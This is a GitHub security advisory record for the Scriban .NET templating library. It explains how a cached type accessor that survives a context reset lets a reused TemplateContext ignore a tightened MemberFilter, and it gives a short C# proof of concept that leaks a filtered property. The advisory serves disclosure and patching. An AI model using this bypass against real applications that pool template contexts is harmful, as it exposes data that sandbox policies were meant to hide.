GHSA-5wr9-m6jw-xx44: Scriban Sandbox Escape Due To TypedObjectAccessorcache Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5wr9-m6jw-xx44",
  "modified" : "2026-07-06T13:08:09Z",
  "published" : "2026-03-24T22:11:38Z",
  "aliases" : [ ],
  "summary" : "Scriban: Sandbox escape due to TypedObjectAccessorcache bypassing MemberFilter after TemplateContext reuse",
  "details" : "## Summary\n\n`TemplateContext` caches type accessors by `Type` only, but those accessors are built using the current `MemberFilter` and `MemberRenamer`. When a `TemplateContext` is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden.\n\n## Details\n\nThe relevant code path is:\n\n- `TemplateContext.GetMemberAccessor()` caches accessors in `_memberAccessors` by `Type` in `src/Scriban/TemplateContext.cs` lines 850–863.\n- For plain .NET objects, `GetMemberAccessorImpl()` creates a new `TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer)` in `src/Scriban/TemplateContext.cs` lines 909–939.\n- `TypedObjectAccessor` stores the current filter and precomputes the exposed member set in its constructor and `PrepareMembers()` in `src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs` lines 33–40 and 119–179.\n- Member access later goes through `ScriptMemberExpression.GetValue()` in `src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs` lines 67–95, which uses the cached accessor.\n- `TemplateContext.Reset()` does **not** clear `_memberAccessors` in `src/Scriban/TemplateContext.cs` lines 877–902.\n\nAs a result, once a permissive accessor has been created for a given type, changing `TemplateContext.MemberFilter` later does not take effect for that type on the same reused context.\n\nThis is especially relevant because the Scriban docs explicitly recommend `TemplateContext.MemberFilter` for indirect .NET object exposure.\n\n---\n\n## Proof of Concept\n\n### Setup\n\n```bash\nmkdir scriban-poc2\ncd scriban-poc2\ndotnet new console --framework net8.0\ndotnet add package Scriban --version 6.6.0\n```\n\n### `Program.cs`\n\n```csharp\nusing System.Reflection;\nusing Scriban;\nusing Scriban.Runtime;\n\nvar template = Template.Parse(\"{{ model.secret }}\");\n\nvar context = new TemplateContext\n{\n    EnableRelaxedMemberAccess = false\n};\n\nvar globals = new ScriptObject();\nglobals[\"model\"] = new SensitiveModel();\ncontext.PushGlobal(globals);\n\ncontext.MemberFilter = _ => true;\nConsole.WriteLine(\"first=\" + template.Render(context));\n\ncontext.Reset();\n\nvar globals2 = new ScriptObject();\nglobals2[\"model\"] = new SensitiveModel();\ncontext.PushGlobal(globals2);\n\ncontext.MemberFilter = member => member.Name == nameof(SensitiveModel.Public);\n\nConsole.WriteLine(\"second=\" + template.Render(context));\n\nsealed class SensitiveModel\n{\n    public string Public => \"ok\";\n    public string Secret => \"leaked\";\n}\n```\n\n### Run\n\n```bash\ndotnet run\n```\n\n### Actual Output\n\n```\nfirst=leaked\nsecond=leaked\n```\n\n### Expected Behavior\n\nThe second render should fail or stop exposing `Secret`, because the filter only allows `Public` and `EnableRelaxedMemberAccess` is disabled.\n\nThis reproduces a direct filter bypass caused by the stale cached accessor.\n\n---\n\n## Impact\n\nThis is a protection-mechanism bypass. Applications that use `TemplateContext.MemberFilter` as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a `TemplateContext`.\n\nThe impact includes:\n\n- Unauthorized read access to filtered properties or fields\n- Unauthorized writes if the filtered member also has a setter\n- Policy bypass across requests, users, or tenants when contexts are pooled",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "scriban"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban.Signed"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scriban/scriban/security/advisories/GHSA-5wr9-m6jw-xx44"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scriban/scriban"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-24T22:11:38Z",
    "nvd_published_at" : null
  }
}